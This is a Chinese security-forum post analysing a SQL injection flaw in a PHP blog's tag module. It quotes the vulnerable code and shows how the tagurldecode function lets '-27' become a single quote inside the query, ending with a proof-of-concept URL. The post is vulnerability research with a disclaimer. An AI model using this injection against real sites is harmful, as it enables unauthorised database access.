BY Flyh4t
http://bbs.wolvez.org
上次硬盘坏了丢了很多数据
今天某兄弟生日
掏空我的记忆回想起来一个很老的漏洞
//inc/mod_tag.php ------------------------ if (!defined('VALIDREQUEST')) die ('Access Denied.'); if (!$job) $job='default'; else $job=basename($job); $itemid=safe_convert($itemid); acceptrequest('tag,rewrite'); if ($tag!=='') $job='show'; $tag=($config['smarturl']==1 && $config['urlrewrite']==1 && $rewrite==1) ? tagurldecode($tag) : $tag; //缺省情况$config['smarturl']==1 && $config['urlrewrite']==1 这个条件是不成立的,所以不会调用tagurldecode函数 //要管理员使用urlrewite功能才可以 if ($job=='default') { .......... } if ($job=='show') { acceptrequest('mode'); if ($mode==1 || $mode==2) $mbcon['tag_list']=$mode-1; $m_b=new getblogs; if ($tag==='') catcherror($lnc[192]); //$tag 变量进入查询语句,但是需要一个单引号,我们恰好可以通过tagurldecode函数引入单引号 $allentries=$blog->getgroupbyquery("SELECT * FROM `{$db_prefix}tags` WHERE `tagname`='{$tag}' LIMIT 0,1"); if (!is_array($allentries[0]) || $allentries[0]['tagentry']=='<end>' || $allentries[0]['tagcounter']==0) { ----------------------------
$tag 变量进入查询语句是被单引号包围的,但是我们恰好可以通过tagurldecode函数引入单引号,看代码
function tagurlencode($str) {//编码函数 $str=urlencode($str); $str=str_replace('-', '--', $str); $str=str_replace('%', '-', $str); return $str; } function tagurldecode($str) { //解码函数 $str=str_replace('-', '%', $str); $str=str_replace('%%', '-', $str); $str=urldecode($str); return $str; }
这样我们就可以利用这个漏洞
-------------------- poc: index.php?act=tag&job=show&rewrite=1&tag=aaaa-27 ---------------
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论